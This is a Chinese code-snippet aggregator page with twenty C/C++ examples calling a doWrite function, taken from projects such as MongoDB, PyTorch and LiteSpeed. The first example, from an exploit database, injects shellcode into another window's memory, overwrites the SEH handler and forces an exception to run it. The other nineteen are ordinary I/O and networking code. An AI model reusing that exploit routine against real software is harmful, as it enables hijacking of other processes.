本文整理汇总了C++中doWrite函数的典型用法代码示例。如果您正苦于以下问题:C++ doWrite函数的具体用法?C++ doWrite怎么用?C++ doWrite使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了doWrite函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。
示例1: IterateWindows
void IterateWindows(long hWnd)
{
long childhWnd,looper;
childhWnd = GetNextWindow(hWnd,GW_CHILD);
while (childhWnd != NULL)
{
IterateWindows(childhWnd);
childhWnd = GetNextWindow(childhWnd ,GW_HWNDNEXT);
}
hLVControl = hWnd;
hHdrControl = SendMessage((HWND) hLVControl,(UINT) LVM_GETHEADER, 0,0);
if(hHdrControl != NULL)
{
// Found a Listview Window with a Header
printf("+ Found listview window..0x%xh\n",hLVControl);
printf("+ Found lvheader window..0x%xh\n",hHdrControl);
// Inject shellcode to known address
printf("+ Sending shellcode to...0x%xh\n",shellcodeaddr);
for (looper=0;looper<sizeof(exploit);looper++)
doWrite((long) exploit[looper],(shellcodeaddr + looper));
// Overwrite SEH
printf("+ Overwriting Top SEH....0x%xh\n",sehHandler);
doWrite(((shellcodeaddr) & 0xff),sehHandler);
doWrite(((shellcodeaddr >> 8) & 0xff),sehHandler+1);
doWrite(((shellcodeaddr >> 16) & 0xff),sehHandler+2);
doWrite(((shellcodeaddr >> 24) & 0xff),sehHandler+3);
// Cause exception
printf("+ Forcing Unhandled Exception\n");
SendMessage((HWND) hHdrControl,(UINT) HDM_GETITEMRECT,0,1);
printf("+ Done...\n");
exit(0);
}
开发者ID:0x24bin,项目名称:exploit-database,代码行数:32,代码来源:21689.c
示例2: _delete
void _delete( Request& r , DbMessage& d, ChunkManager* manager ){
int flags = d.pullInt();
bool justOne = flags & 1;
uassert( 10203 , "bad delete message" , d.moreJSObjs() );
BSONObj pattern = d.nextJsObj();
vector<Chunk*> chunks;
manager->getChunksForQuery( chunks , pattern );
cout << "delete : " << pattern << " \t " << chunks.size() << " justOne: " << justOne << endl;
if ( chunks.size() == 1 ){
doWrite( dbDelete , r , chunks[0]->getShard() );
return;
}
if ( justOne && ! pattern.hasField( "_id" ) )
throw UserException( 8015 , "can only delete with a non-shard key pattern if can delete as many as we find" );
set<string> seen;
for ( vector<Chunk*>::iterator i=chunks.begin(); i!=chunks.end(); i++){
Chunk * c = *i;
if ( seen.count( c->getShard() ) )
continue;
seen.insert( c->getShard() );
doWrite( dbDelete , r , c->getShard() );
}
}
开发者ID:whachoe,项目名称:mongo,代码行数:28,代码来源:strategy_shard.cpp
示例3: visit_import
virtual bool visit_import(AST_Import *node) {
for (int i = 0; i < node->names.size(); i++) {
AST_alias *alias = node->names[i];
if (alias->asname.size())
doWrite(alias->asname);
else
doWrite(alias->name);
}
return true;
}
开发者ID:Bassem450,项目名称:pyston,代码行数:10,代码来源:scoping_analysis.cpp
示例4: THPStorage_
void THPStorage_(writeFileRaw)(THStorage *self, io fd)
{
real *data;
int64_t size = self->size;
#ifndef THC_GENERIC_FILE
data = self->data;
#else
std::unique_ptr<char[]> cpu_data(new char[size * sizeof(real)]);
data = (real*)cpu_data.get();
THCudaCheck(cudaMemcpy(data, self->data, size * sizeof(real), cudaMemcpyDeviceToHost));
#endif
ssize_t result = doWrite(fd, &size, sizeof(int64_t));
if (result != sizeof(int64_t))
throw std::system_error(result, std::system_category());
// fast track for bytes and little endian
if (sizeof(real) == 1 || THP_nativeByteOrder() == THPByteOrder::THP_LITTLE_ENDIAN) {
char *bytes = (char *) data;
int64_t remaining = sizeof(real) * size;
while (remaining > 0) {
// we write and read in 1GB blocks to avoid bugs on some OSes
ssize_t result = doWrite(fd, bytes, THMin(remaining, 1073741824));
if (result < 0)
throw std::system_error(result, std::system_category());
bytes += result;
remaining -= result;
}
if (remaining != 0)
throw std::system_error(result, std::system_category());
} else {
int64_t buffer_size = std::min(size, (int64_t)5000);
std::unique_ptr<uint8_t[]> le_buffer(new uint8_t[buffer_size * sizeof(real)]);
for (int64_t i = 0; i < size; i += buffer_size) {
size_t to_convert = std::min(size - i, buffer_size);
if (sizeof(real) == 2) {
THP_encodeInt16Buffer((uint8_t*)le_buffer.get(),
(const int16_t*)data + i,
THPByteOrder::THP_LITTLE_ENDIAN,
to_convert);
} else if (sizeof(real) == 4) {
THP_encodeInt32Buffer((uint8_t*)le_buffer.get(),
(const int32_t*)data + i,
THPByteOrder::THP_LITTLE_ENDIAN,
to_convert);
} else if (sizeof(real) == 8) {
THP_encodeInt64Buffer((uint8_t*)le_buffer.get(),
(const int64_t*)data + i,
THPByteOrder::THP_LITTLE_ENDIAN,
to_convert);
}
SYSCHECK(doWrite(fd, le_buffer.get(), to_convert * sizeof(real)));
}
}
}
开发者ID:MaheshBhosale,项目名称:pytorch,代码行数:53,代码来源:serialization.cpp
示例5: exclusion
// ---
void VSWWriter::write (const std::string& text)
{
CMTYScopedLock exclusion (_exclusion);
if (_on)
{
// First of all it built up the text to print out...
std::string textToWrite = text;
if (_addDateTime)
{
CMTYDateTime now (CMTYDate (_TODAY_), CMTYTime (_NOW_));
std::string nowStr = now.asString (CMTYDate::Format (std::string ("%d/%m/%y")),
CMTYTime::Format (std::string ("%h:%m:%s")));
textToWrite = std::string (__OPENBRACKET__) + nowStr + std::string (__CLOSEBRACKET__) +
std::string (__BLANK_STRING__) + text;
}
// ...and now log it.
if (_logging && _logSystem != NULL)
if (trim (text) != std::string (__NULL_STRING__))
_logSystem -> storeText (textToWrite); // Only not null texts are kept into the log file...
// ...and print it (or keep it to print later)
if (_currentLastMessage >= _maxNumberOfLastMessages)
_currentLastMessage = 0;
_lastMessages [_currentLastMessage++] = textToWrite;
if (_keep)
_messagesKept.push_back (textToWrite);
else
doWrite (textToWrite);
}
}
开发者ID:Commnets,项目名称:AdstoneCode,代码行数:33,代码来源:VSWWriter.cpp
示例6: stop
void Connection::onWrite( const boost::system::error_code& err, size_t bytes )
{
if ( err )
{
std::cout << "OnWrite error" << bytes << std::endl;
stop();
return;
}
std::cout << "On write..." << bytes << std::endl;
if ( _isWaiting )
{
Stanza ev;
ev.setStanzaType( Stanza::EVENT );
ev.setSubType( Stanza::END );
_received.push_back( ev );
std::cout << " _isWaiting = 0" << std::endl;
_isWaiting = false;
}
if ( !_received.empty() )
{
doWrite();
return;
}
_isWriting = false;
//doReadSize();
}
开发者ID:DenisKoposov,项目名称:Messenger,代码行数:30,代码来源:Connection.cpp
示例7: LS_DBG_L
int ExtConn::onWrite()
{
LS_DBG_L(this, "ExtConn::onWrite()");
m_tmLastAccess = DateTime::s_curTime;
int ret;
switch (m_iState)
{
case CONNECTING:
ret = onInitConnected();
if (ret)
break;
//fall through
case PROCESSING:
ret = doWrite();
break;
case ABORT:
case CLOSING:
case DISCONNECTED:
return 0;
default:
return 0;
}
if (ret == -1)
ret = connError(errno);
return ret;
}
开发者ID:52M,项目名称:openlitespeed,代码行数:26,代码来源:extconn.cpp
示例8: doWrite
void Connection::onRegister( Stanza st )
{
std::string body = st.getMSG();
std::string login = body.substr( 0, body.find("\n") );
std::string psswd = body.substr( body.find("\n") );
if ( _myServer.checkAccount( login ) == true )
{
Stanza ans;
ans.setStanzaType( Stanza::IQ );
ans.setSubType( Stanza::ERROR );
//std::string strAns;
//ans.save( strAns );
_received.push_back( ans );
//doWriteQuick( strAns );
} else
{
_myServer.addAccount( login, psswd );
Stanza ans;
ans.setStanzaType( Stanza::IQ );
ans.setSubType( Stanza::AVAILABLE );
//std::string strAns;
//ans.save( strAns );
_received.push_back( ans );
//doWriteQuick( strAns );
}
if ( _isWaiting && !_isWriting )
doWrite();
doReadSize();
}
开发者ID:DenisKoposov,项目名称:Messenger,代码行数:33,代码来源:Connection.cpp
示例9: shared_from_this
void Connection::onLogin( Stanza st )
{
std::string body = st.getMSG();
std::string login = body.substr( 0, body.find("\n") );
std::string psswd = body.substr( body.find("\n") );
if ( _myServer.checkLoginAndPassword( login, psswd ) == true )
{
_login = login;
_loggedIn = true;
_myServer.addConnection( shared_from_this() );
retrieve();
Stanza ans;
ans.setStanzaType( Stanza::IQ );
ans.setSubType( Stanza::AVAILABLE );
//std::string strAns;
//ans.save( strAns );
_received.push_back( ans );
//doWriteQuick( strAns );
} else
{
Stanza ans;
ans.setStanzaType( Stanza::IQ );
ans.setSubType( Stanza::ERROR );
//std::string strAns;
//ans.save( strAns );
_received.push_back( ans );
//doWriteQuick( strAns );
}
if ( _isWaiting && !_isWriting )
doWrite();
doReadSize();
}
开发者ID:DenisKoposov,项目名称:Messenger,代码行数:35,代码来源:Connection.cpp
示例10: updateRecentOnlineTime
void Connection::onRoaster()
{
std::cout << "onRoaster" << std::endl;
updateRecentOnlineTime();
Stanza ans;
std::map<std::string, Connection::ptr>::iterator it;
std::string strAns;
for ( it = _myServer.connections().begin();
it != _myServer.connections().end(); ++it )
{
JID newJID;
newJID.setNode( std::get<1>(*it)->getLogin() );
ans.addAvailable( newJID );
}
ans.setStanzaType( Stanza::ROASTER );
_received.push_back( ans );
if ( _isWaiting && !_isWriting )
doWrite();
doReadSize();
//ans.save( strAns );
//doWriteQuick( strAns );
}
开发者ID:DenisKoposov,项目名称:Messenger,代码行数:27,代码来源:Connection.cpp
示例11: e
int SFTWorker::doDecompression(const char* buff, uint32 buffSize, bool endFile)
{
if (!m_pBzs)
{
gcException e(ERR_BZ2, 0, "Bzip2 handle was nullptr");
return reportError(BZ_STREAM_END, e);
}
m_pBzs->write(buff, buffSize, endFile);
try
{
m_pBzs->doWork();
}
catch (gcException &e)
{
return reportError(BZ_STREAM_END, e);
}
size_t outBuffSize = m_pBzs->getReadSize();
if (outBuffSize == 0)
return m_pBzs->getLastStatus();
AutoDelete<char> outBuff(new char[outBuffSize]);
m_pBzs->read(outBuff, outBuffSize);
int32 res = doWrite(outBuff, outBuffSize);
if (res == BZ_OK)
return m_pBzs->getLastStatus();
return res;
}
开发者ID:callumlinden,项目名称:desura-app,代码行数:34,代码来源:SFTWorker.cpp
示例12:
void Horus::Commons::Network::StreamConnection::sendMessage(const QString &msg)
{
bool write_in_progress = m_write_msgs.empty() == false;
m_write_msgs.push_back(msg);
if (write_in_progress == false) doWrite();
}
开发者ID:IL2HorusTeam,项目名称:desktop-commons-network,代码行数:7,代码来源:stream_connection.cpp
示例13: main
int main() {
uint64_t data = 0xdead;
uint16_t addr = 1;
printf("[INFO] Write R[%d] = %lx\n", addr, data);
doWrite(addr, data);
printf("[INFO] Read R[%d]\n", addr);
uint64_t y = doRead(addr);
printf("[INFO] Received %lx\n", y);
assert(y == data);
uint64_t data_accum = -0x1fbe;
printf("[INFO] Accum R[%d] with %lx\n", addr, data_accum);
y = doAccum(addr, data_accum);
printf("[INFO] Received %lx\n", y);
assert(y == data);
printf("[INFO] Read R[%d]\n", addr);
y = doRead(addr);
printf("[INFO] Received %lx\n", y);
assert(y == data + data_accum);
data = 0xbeef;
uint64_t data_addr = doTranslate((void *) &data);
printf("[INFO] Load %lx (0x%lx) via L1 data cache\n",
data, data_addr);
y = doLoad(addr, data_addr);
printf("[INFO] Received %lx\n", y);
return 0;
}
开发者ID:zhemao,项目名称:rocket-rocc-examples,代码行数:32,代码来源:test-accumulator.c
示例14: doRead
//virtual
bool LLTextureCacheWorker::doWork(S32 param)
{
//allocate a new local apr_pool
LLAPRPool pool ;
//save the current mFileAPRPool to avoid breaking anything.
apr_pool_t* old_pool = mCache->getFileAPRPool() ;
//make mFileAPRPool to point to the local one
mCache->setFileAPRPool(pool.getAPRPool()) ;
bool res = false;
if (param == 0) // read
{
res = doRead();
}
else if (param == 1) // write
{
res = doWrite();
}
else
{
llassert_always(0);
}
//set mFileAPRPool back, the local one will be released automatically.
mCache->setFileAPRPool(old_pool) ;
return res;
}
开发者ID:Nora28,项目名称:imprudence,代码行数:30,代码来源:lltexturecache.cpp
示例15: doWrite
void Strategy::broadcastWrite(int op, Request& r) {
vector<Shard> shards;
Shard::getAllShards(shards);
for (vector<Shard>::iterator it(shards.begin()), end(shards.end()); it != end; ++it) {
doWrite(op, r, *it, false);
}
}
开发者ID:Jmlevick,项目名称:mongo-nonx86,代码行数:7,代码来源:strategy.cpp
示例16: assert
void
XalanOutputStream::write(
const XalanDOMChar* theBuffer,
size_type theBufferLength)
{
assert(theBuffer != 0);
if (theBufferLength + m_buffer.size() > m_bufferSize)
{
flushBuffer();
}
if (theBufferLength > m_bufferSize)
{
assert(m_buffer.empty() == true);
doWrite(theBuffer, theBufferLength);
}
else
{
m_buffer.insert(m_buffer.end(),
theBuffer,
theBuffer + theBufferLength);
}
}
开发者ID:rherardi,项目名称:xml-xalan-c-src_1_10_0,代码行数:25,代码来源:XalanOutputStream.cpp
示例17: main
int main(int argc, char **argv)
{
nitf_Record *record = NULL; /* a record object */
#if 0
nitf_ListIterator iter; /* current pos iterator */
nitf_ListIterator end; /* end of list iterator */
nitf_ImageSegment *segment = NULL; /* the image segment */
NITF_BOOL success; /* status bool */
nitf_IOHandle input_io; /* input IOHandle */
nitf_IOHandle output_io; /* output IOHandle */
#endif
/* Check argv and make sure we are happy */
if (argc != 3)
{
printf("Usage: %s <input-file> <output-file> \n", argv[0]);
exit(EXIT_FAILURE);
}
record = doRead(argv[1]);
showFileHeader(record->header);
doWrite(record, argv[1], argv[2]);
nitf_Record_destruct(&record);
return 0;
}
开发者ID:aivaras16,项目名称:nitro,代码行数:29,代码来源:test_writer_3.c
示例18: main
int main(int argc, char **argv)
{
try
{
// Check argv and make sure we are happy
if (argc < 3 || argc > 4)
{
std::cout << "Usage: %s <input-file> <output-file> (block-size - default is 8192)\n" << argv[0] << std::endl;
exit(EXIT_FAILURE);
}
size_t blockSize = 8192;
if (argc == 4)
blockSize = str::toType<int>(argv[3]);
// Check that wew have a valid NITF
if (nitf::Reader::getNITFVersion(argv[1]) == NITF_VER_UNKNOWN )
{
std::cout << "Invalid NITF: " << argv[1] << std::endl;
exit(EXIT_FAILURE);
}
nitf::Record record = doRead(argv[1]);
doWrite(record, argv[1], argv[2], blockSize);
return 0;
}
catch (except::Throwable & t)
{
std::cout << t.getMessage() << std::endl;
}
}
开发者ID:aivaras16,项目名称:nitro,代码行数:31,代码来源:test_buffered_write.cpp
示例19: sendPedSubbedSurfPackets
int sendPedSubbedSurfPackets(int bufSize)
{
if(bufSize!=sizeof(PedSubbedEventBody_t)) {
syslog(LOG_ERR,"Buffer size %d, expected %d -- Bailing\n",bufSize,(unsigned int)sizeof(PedSubbedEventBody_t));
fprintf(stderr,"Buffer size %d, expected %d -- Bailing\n",bufSize,(unsigned int)sizeof(PedSubbedEventBody_t));
return -1;
}
PedSubbedEventBody_t *bdPtr = (PedSubbedEventBody_t*) eventBuffer;
int surf;
PedSubbedSurfPacket_t *surfPtr;
int numBytes=sizeof(PedSubbedSurfPacket_t);
for(surf=0;surf<ACTIVE_SURFS;surf++) {
if((LOS_MAX_BYTES-numBytesInBuffer)<numBytes) {
doWrite();
}
surfPtr=(PedSubbedSurfPacket_t*) &losBuffer[numBytesInBuffer];
surfPtr->eventNumber=bdPtr->eventNumber;
surfPtr->whichPeds=bdPtr->whichPeds;
memcpy(&(surfPtr->waveform[0]),&(bdPtr->channel[CHANNELS_PER_SURF*surf]),sizeof(SurfChannelPedSubbed_t)*CHANNELS_PER_SURF);
surfPtr->gHdr.packetNumber=getLosNumber();
fillGenericHeader(surfPtr,PACKET_PEDSUB_SURF,sizeof(PedSubbedSurfPacket_t));
numBytesInBuffer+=sizeof(PedSubbedSurfPacket_t);
}
return 0;
}
开发者ID:anitaNeutrino,项目名称:anitaFlightSoft,代码行数:25,代码来源:LOSd.c
示例20: sendPedSubbedWaveformPackets
int sendPedSubbedWaveformPackets(int bufSize)
{
if(bufSize!=sizeof(PedSubbedEventBody_t)) {
syslog(LOG_ERR,"Buffer size %d, expected %d -- Bailing\n",bufSize,(unsigned int)sizeof(PedSubbedEventBody_t));
fprintf(stderr,"Buffer size %d, expected %d -- Bailing\n",bufSize,(unsigned int)sizeof(PedSubbedEventBody_t));
}
PedSubbedEventBody_t *bdPtr = (PedSubbedEventBody_t*) eventBuffer;
int chan;
PedSubbedWaveformPacket_t *wvPtr;
int numBytes=sizeof(PedSubbedWaveformPacket_t);
for(chan=0;chan<NUM_DIGITZED_CHANNELS;chan++) {
if((LOS_MAX_BYTES-numBytesInBuffer)<numBytes) {
doWrite();
}
wvPtr=(PedSubbedWaveformPacket_t*) &losBuffer[numBytesInBuffer];
wvPtr->eventNumber=bdPtr->eventNumber;
wvPtr->whichPeds=bdPtr->whichPeds;
memcpy(&(wvPtr->waveform),&(bdPtr->channel[chan]),sizeof(SurfChannelPedSubbed_t));
wvPtr->gHdr.packetNumber=getLosNumber();
fillGenericHeader(wvPtr,PACKET_PEDSUB_WV,sizeof(PedSubbedWaveformPacket_t));
// printf("%#x %d\n",wvPtr->gHdr.code,wvPtr->gHdr.numBytes);
numBytesInBuffer+=sizeof(PedSubbedWaveformPacket_t);
}
return 0;
}
开发者ID:anitaNeutrino,项目名称:anitaFlightSoft,代码行数:25,代码来源:LOSd.c
注:本文中的doWrite函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 |
请发表评论